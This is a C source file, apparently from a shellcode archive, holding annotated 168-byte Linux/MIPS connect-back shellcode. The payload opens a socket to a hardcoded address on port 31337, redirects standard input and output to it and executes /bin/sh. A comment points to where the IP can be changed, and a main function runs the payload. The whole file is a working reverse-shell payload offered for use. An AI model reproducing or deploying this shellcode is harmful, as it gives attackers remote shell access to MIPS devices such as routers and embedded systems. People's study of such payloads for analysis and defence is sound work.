/* * Title: Linux/MIPS - connect back shellcode (port 0x7a69) - 168 bytes. * Author: rigan - imrigan [sobachka] gmail.com */ #include <stdio.h> char sc[] = "\x24\x0f\xff\xfd" // li t7,-3 "\x01\xe0\x20\x27" // nor a0,t7,zero "\x01\xe0\x28\x27" // nor a1,t7,zero "\x28\x06\xff\xff" // slti a2,zero,-1 "\x24\x02\x10\x57" // li v0,4183 ( sys_socket ) "\x01\x01\x01\x0c" // syscall 0x40404 "\xaf\xa2\xff\xff" // sw v0,-1(sp) "\x8f\xa4\xff\xff" // lw a0,-1(sp) "\x24\x0f\xff\xfd" // li t7,-3 ( sa_family = AF_INET ) "\x01\xe0\x78\x27" // nor t7,t7,zero "\xaf\xaf\xff\xe0" // sw t7,-32(sp) "\x3c\x0e\x7a\x69" // lui t6,0x7a69 ( sin_port = 0x7a69 ) "\x35\xce\x7a\x69" // ori t6,t6,0x7a69 "\xaf\xae\xff\xe4" // sw t6,-28(sp) /* ==================== You can change ip here ;) ====================== */ "\x3c\x0d\xc0\xa8" // lui t5,0xc0a8 ( sin_addr = 0xc0a8 ... "\x35\xad\x01\x64" // ori t5,t5,0x164 ...0164 ) /* ====================================================================== */ "\xaf\xad\xff\xe6" // sw t5,-26(sp) "\x23\xa5\xff\xe2" // addi a1,sp,-30 "\x24\x0c\xff\xef" // li t4,-17 ( addrlen = 16 ) "\x01\x80\x30\x27" // nor a2,t4,zero "\x24\x02\x10\x4a" // li v0,4170 ( sys_connect ) "\x01\x01\x01\x0c" // syscall 0x40404 "\x24\x0f\xff\xfd" // li t7,-3 "\x01\xe0\x28\x27" // nor a1,t7,zero "\x8f\xa4\xff\xff" // lw a0,-1(sp) //dup2_loop: "\x24\x02\x0f\xdf" // li v0,4063 ( sys_dup2 ) "\x01\x01\x01\x0c" // syscall 0x40404 "\x20\xa5\xff\xff" // addi a1,a1,-1 "\x24\x01\xff\xff" // li at,-1 "\x14\xa1\xff\xfb" // bne a1,at, dup2_loop "\x28\x06\xff\xff" // slti a2,zero,-1 "\x3c\x0f\x2f\x2f" // lui t7,0x2f2f "\x35\xef\x62\x69" // ori t7,t7,0x6269 "\xaf\xaf\xff\xf4" // sw t7,-12(sp) "\x3c\x0e\x6e\x2f" // lui t6,0x6e2f "\x35\xce\x73\x68" // ori t6,t6,0x7368 "\xaf\xae\xff\xf8" // sw t6,-8(sp) "\xaf\xa0\xff\xfc" // sw zero,-4(sp) "\x27\xa4\xff\xf4" // addiu a0,sp,-12 "\x28\x05\xff\xff" // slti a1,zero,-1 "\x24\x02\x0f\xab" // li v0,4011 ( sys_execve ) "\x01\x01\x01\x0c"; // syscall 0x40404 void main(void) { void(*s)(void); printf("size: %d\n", sizeof(sc)); s = sc; s(); }